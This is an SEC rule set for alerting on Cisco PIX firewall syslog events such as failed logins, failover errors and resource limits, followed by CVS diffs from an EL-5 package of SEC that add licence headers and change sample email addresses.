pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) end configuration: \[FAILED\]
desc=PIX $1 FAILED CONFIGURING $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the command (.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# FIXME -- Add syslog number
# FSWM Style
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the \'(.*)\' command.*
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1


# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) executed cmd:(.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unable to open AAA session. Session limit
desc=PIX $1 AAA Reached session limit
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113005
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*AAA user authentication Rejected: reason = (.*) server = .* User = (\S+).*
desc=PIX $1 IPSEC: User Auth Attack: $2 for $3
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
window=10
thresh=6

# 113006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) locked out on exceeding number successive failed authentication attempts
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Kerberos error : Clock skew with server (\d+.\d+.\d+.\d+).*
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# Might be only 6.x
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Console Login from user at (\d+.\d+.\d+.\d+)
desc=PIX $1 Console Login from $2
action=create con_$1; add con_$1 %t; add con_$1 %s; add con_$1 $0; report con_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete con_$1

# 112001 
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*clear (finished|complete)\.
desc=PIX $1 Clear Command Executed
action=create clr_$1; add clr_$1 %t; add clr_$1 %s; add clr_$1 $0; report clr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete clr_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*[rR]eload command executed from.*(\d+.\d+.\d+.\d+)
desc=PIX $1 Reloaded by $2
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Orderly reload started at.*by (\S+). Reload.*
desc=PIX $1 Reloaded by $2
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 201002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+).*Too many.*connections on (static|xlate) (\d+.\d+.\d+.\d+)
desc=PIX $1 Max Embryonics to $3 (not attack)
action=create max_$1; add max_$1 %t; add max_$1 %s; add max_$1 $0; report max_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete max_$1

# 201003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Embryonic limit exceeded.*for (\d+.\d+.\d+.\d+\/\d+) \((\d+.\d+.\d+.\d+)\) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Max Embryonics from $2 to $3 ($4) Attack
action=create emb_$1; add emb_$1 %t; add emb_$1 %s; add emb_$1 $0; report emb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete emb_$1

# 201008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The PIX is disallowing new connections.
desc=PIX $1 No longer allowing connections!
action=create stp_$1; add stp_$1 %t; add stp_$1 %s; add stp_$1 $0; report stp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete stp_$1

# 202001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Out of address translation slots!
desc=PIX $1 Out of NAT Slots
action=create nnt_$1; add nnt_$1 %t; add nnt_$1 %s; add nnt_$1 $0; report nnt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nnt_$1

# 209003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Fragment database limit of.*exceeded: src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 No room to assemble more frags from $2 to $3
action=create frg_$1; add frg_$1 %t; add frg_$1 %s; add frg_$1 $0; report frg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete frg_$1

# 209004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Invalid IP fragment, size =.*exceeds maximum size =.*src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 Frag is invalid from $2 to $3
action=create lrg_$1; add lrg_$1 %t; add lrg_$1 %s; add lrg_$1 $0; report lrg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lrg_$1

# 209005
# FIXME -- Cisco log message doesnt match this
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Discard IP fragment set with more than.*elements:src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 To many frags from $2 to $3
action=create _$1; add _$1 %t; add _$1 %s; add _$1 $0; report _$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete _$1

# 210002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate block .* failed.
desc=PIX $1 Failover Block Alocation Failed
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 210005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate connection failed
desc=PIX $1 Failover Connection Failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 210003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unknown LU Object.*
desc=PIX $1 Failover: Unknown LU Object
action=create ulu_$1; add ulu_$1 %t; add ulu_$1 %s; add ulu_$1 $0; report ulu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ulu_$1

# 210006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU look NAT for (\d+.\d+.\d+.\d+) failed
desc=PIX $1 Failover NAT Sync failed for $2
action=create fns_$1; add fns_$1 %t; add fns_$1 %s; add fns_$1 $0; report fns_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fns_$1

# 210007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate xlate failed
desc=PIX $1 Failover xlate Sync Failed
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU no xlate for (\d+.\d+.\d+.\d+\/\d+) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Failover xlate Sync Failure for $2 to $3
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU make UDP connection for (\d+.\d+.\d+.\d+:\d+) (\d+.\d+.\d+.\d+:\d+) failed
desc=PIX $1 Failover UDP Conn sync failure for $2 to $3
action=create fus_$1; add fus_$1 %t; add fus_$1 %s; add fus_$1 $0; report fus_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fus_$1

# 210020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU PAT port (\d+) reserve failed
desc=PIX $1 Failover PAT Sync for $2 failed
action=create fps_$1; add fps_$1 %t; add fps_$1 %s; add fps_$1 $0; report fps_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fps_$1

# 210021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU create static xlate (\d+.\d+.\d+.\d+).*failed
desc=PIX $1 Failover Static xlate failed for $2
action=create fxf_$1; add fxf_$1 %t; add fxf_$1 %s; add fxf_$1 $0; report fxf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxf_$1

# 210022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU missed (\d+) updates
desc=PIX $1 Failover Sync failed for $2 updates
action=create fsf_$1; add fsf_$1 %t; add fsf_$1 %s; add fsf_$1 $0; report fsf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsf_$1

# 211001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Memory allocation Error
desc=PIX $1 Memory allocation Error!
action=create mae_$1; add mae_$1 %t; add mae_$1 %s; add mae_$1 $0; report mae_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mae_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*CPU utilization for (\d+) seconds = (.*)
desc=PIX $1 CPU high ($2) for $3 secs
action=create cpu_$1; add cpu_$1 %t; add cpu_$1 %s; add cpu_$1 $0; report cpu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cpu_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping SNMP request from (\d+.\d+.\d+.\d+\/\d+) to.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 SNMP Attempt from $2 to $3
action=create snp_$1; add snp_$1 %t; add snp_$1 %s; add snp_$1 $0; report snp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete snp_$1

# 213001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP control daemon socket io.*errno = (\d+)
desc=PIX $1 PPTP Error $2
action=create ppt_$1; add ppt_$1 %t; add ppt_$1 %s; add ppt_$1 $0; report ppt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppt_$1

# 213002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP tunnel hashtable insert failed, peer = (\d+.\d+.\d+.\d+)
desc=PIX $1 PPTP hash table insert failed for $2
action=create pht_$1; add pht_$1 %t; add pht_$1 %s; add pht_$1 $0; report pht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pht_$1

# 213003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) isn't opened.
desc=PIX $1 PPP Virtual Int $2 failed to close
action=create ppp_$1; add ppp_$1 %t; add ppp_$1 %s; add ppp_$1 $0; report ppp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppp_$1

# 213004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) client ip allocation failed.
desc=PIX $1 PPP Virutal interface $2 failure (pool depleted)
action=create ppl_$1; add ppl_$1 %t; add ppl_$1 %s; add ppl_$1 $0; report ppl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppl_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied Telnet login session from (\d+.\d+.\d+.\d+) on interface (int_name).
desc=PIX $1 Denid Telnet from $2 ($3) !!
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted Telnet login session from (\d+.\d+.\d+.\d+)
desc=PIX $1 Permitted Telnet from $2 !
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*telnet login session failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Telnet login guessing attack
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

# 308001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PIX console enable password incorrect for (num) tries \(from (\d+.\d+.\d+.\d+)\).
desc=PIX $1 Many Enable Password failures for $3
action=create enb_$1; add enb_$1 %t; add enb_$1 %s; add enb_$1 $0; report enb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enb_$1

# 315011
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH session from (\d+.\d+.\d+.\d+) on interface.*for user (\S+) disconnected by SSH server, reason:.*
desc=PIX $1 SSH Auth Attach from $2 ($3)
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1
window=10
thresh=6

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied manager connection from (\d+.\d+.\d+.\d+).
desc=PIX $1 Denied Manager from $2
action=create nmg_$1; add nmg_$1 %t; add nmg_$1 %s; add nmg_$1 $0; report nmg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nmg_$1

# FIXME -- Add log code FWSM
type=Single
continue=takenext
ptype=RegExp
pattern==^PIXLOG (\S+)\^ .*Denied SSH session from (\d+.\d+.\d+.\d+) on interface.*
desc=PIX $1 Denied SSH from $2
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted manager connection from (IP_addar).
desc=PIX $1 Allowed Manager from $2
action=create ymg_$1; add ymg_$1 %t; add ymg_$1 %s; add ymg_$1 $0; report ymg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ymg_$1

# FIXME
# SET \d+.\d+.\d+.\d+ TO ! 128.135.0.x
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*Permitted SSH session from (\d+.\d+.\d+.\d+) on interface.*for user "user_id"
#desc=PIX $1 Permitted ssh $3 from $2
#action=create fsh_$1; add fsh_$1 %t; add fsh_$1 %s; add fsh_$1 $0; report fsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH login session failed from (\d+.\d+.\d+.\d+) on \((num) attempts\) on interface.*by user "(\S+)"
desc=PIX $1 SSH $3 Failures from $2 by $4
action=create lsh_$1; add lsh_$1 %t; add lsh_$1 %s; add lsh_$1 $0; report lsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lsh_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decaps: rec\'d IPSEC packet has invalid spi for destaddr=(\d+.\d+.\d+.\d+).*
desc=PIX $1 IPSEC: Invalid SPI in packet from $2 (possible attack)
action=create spi_$1; add spi_$1 %t; add spi_$1 %s; add spi_$1 $0; report spi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spi_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decapsulate: packet missing (.*), destadr=(\d+.\d+.\d+.\d+)
desc=PIX $1 IPSEC:  Packet to $3 did not have type $2 (possible attack)
action=create itp_$1; add itp_$1 %t; add itp_$1 %s; add itp_$1 $0; report itp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete itp_$1

# 402103
# FIXME -- This is messy
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*dentity doesn't match negotiated identity \((ip)\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+), prot= protocol, \((ident)\) local=(\d+.\d+.\d+.\d+), remote=(\d+.\d+.\d+.\d+), local_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port), remote_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port)
#desc=PIX $1 IPSEC:  Peer $2 is attempting to send other packets through us $3 $4 $5 $6 $7
#action=create per_$1; add per_$1 %t; add per_$1 %s; add per_$1 $0; report per_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete per_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received a packet from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) containing.*data instead of.*data.
desc=PIX $1 IPSEC: packet from $2 to $3 doesn't match negotiated proto
action=create ipx_$1; add ipx_$1 %t; add ipx_$1 %s; add ipx_$1 $0; report ipx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ipx_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+).*The decapsulated inner packet doesn't match the negotiated policy in the SA
desc=PIX $1 IPSEC: packet from $2 to $3 is encapsulated with unexpected data.
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 402118
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+) containing an illegal IP fragment.*
desc=PIX $1 IPSEC: packet from $2 to $3 has invalid fragment
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 403103
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface max connections reached.
desc=PIX $1  PPP interfaces exhausted
action=create pie_$1; add pie_$1 %t; add pie_$1 %s; add pie_$1 $0; report pie_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pie_$1

# 403109
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Rec\'d packet not an PPTP packet. \(.*\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+).*
desc=PIX $1 Spoofed PPTP Packet from $3 to $2
action=create spp_$1; add spp_$1 %t; add spp_$1 %s; add spp_$1 $0; report spp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spp_$1

# 404101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ISAKMP: Failed to allocate address for client from pool (\S+)
desc=PIX $1 IPSEC: Failed to allocate addr from $2
action=create faa_$1; add faa_$1 %t; add faa_$1 %s; add faa_$1 $0; report faa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete faa_$1

# 405001
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=PIXLOG (\S+)\^ .*Received ARP.*collision from (\d+.\d+.\d+.\d+\/....\.....\.....) on.*
#desc=PIX $1 ARP Collision: $2
#action=create mac_$1; add mac_$1 %t; add mac_$1 %s;add mac_$1 %s; add mac_$1 $0; report mac_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mac_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Configuration replication failed for command (\S+)
desc=PIX $1 Failover replication command $2 failed
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 709001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*FO replication failed: cmd=(.*) returned=.*
desc=PIX $1 Failover: Command replication failed for Peer: $2
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 316001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied new tunnel to (\d+.\d+.\d+.\d+). VPN peer limit.*exceeded.*
desc=PIX $1 VPN Peer limit exceeded for $2
action=create plm_$1; add plm_$1 %t; add plm_$1 %s; add plm_$1 $0; report plm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete plm_$1

# 317003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table creation failure - (.*)
desc=PIX $1 Route table Error: $2
action=create rte_$1; add rte_$1 %t; add rte_$1 %s; add rte_$1 $0; report rte_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rte_$1

# 317004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit warning
desc=PIX $1 Routing table limit reached
action=create rtl_$1; add rtl_$1 %t; add rtl_$1 %s; add rtl_$1 $0; report rtl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtl_$1

# 317005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit exceeded - (.*), (\d+.\d+.\d+.\d+).*
desc=PIX $1 Route table limit breached by $3:  $2
action=create rtb_$1; add rtb_$1 %t; add rtb_$1 %s; add rtb_$1 $0; report rtb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtb_$1

# 323005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) can not be powered on completely
desc=PIX $1 Slot $2 will not power on
action=create slp_$1; add slp_$1 %t; add slp_$1 %s; add slp_$1 $0; report slp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete slp_$1

# 411002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Line protocol on interface (\S+) changed state to down
desc=PIX $1 Interface $2 is DOWN!
action=create lpd_$1; add ldp_$1 %t; add ldp_$1 %s; add lpd_$1 $0; report lpd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lpd_$1

# 412002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Detected bridge table full while inserting MAC (....\.....\.....) on interface .*
desc=PIX $1 MAC Address table is FULL!
action=create brf_$1; add brf_$1 %t; add brf_$1 %s; add brf_$1 $0; report brf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brf_$1

# 505001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is shutting down.  Please.*
desc=PIX $1 Slot $2 is shutting down!
action=create sht_$1; add sht_$1 %t; add sht_$1 %s; add sht_$1 $0; report sht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sht_$1

# 505002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is reloading. Please.*
desc=PIX $1 Slot $2 is reloading!
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 605004
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Login denied from (.*) to (.*) for user "(\S+)"
desc=PIX $1 Auth Attack from $2 to $3 ($4)
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 611102
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User authentication failed: Uname: (\S+)
desc=PIX $1 Auth Attach from $2
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 615002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*vlan number not available for firewall interface
desc=PIX $1 VLAN Error for FWSM
action=create vln_$1; add vln_$1 %t; add vln_$1 %s; add vln_$1 $0; report vln_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete vln_$1

#


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Dec 2006 03:49:53 -0000	1.3
+++ .cvsignore	8 Oct 2009 16:44:33 -0000	1.4
@@ -1 +1 @@
-sec-2.4.0.tar.gz
+sec-2.5.2.tar.gz


Index: amavisd.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/amavisd.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- amavisd.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ amavisd.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,5 +1,11 @@
-#Amavisd events
-
+#############################################################################
+# Amavisd events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Sep  4 15:43:02 xxxxx clamd[581]: /var/amavisd/amavis-20050904T153955-46858/parts/part-00001: HTML.Phishing.Bank-1 FOUND
 type=Single


Index: bsd-MONITOR.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/bsd-MONITOR.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-MONITOR.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-MONITOR.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,9 +1,14 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # SEC rules to pick up disruptive monitoring
 # events.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#
 #Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
 #----------------------------------------------------------------------
 #Nov 15 20:02:48 foohost syslogd: exiting on signal 15
@@ -50,5 +55,5 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+kernel: swap_pager_getswapspace\(\S\): .*
 desc=$0
-action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at yourdomain.com
+action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at example.com
 


Index: bsd-PHYSMOD.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/bsd-PHYSMOD.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
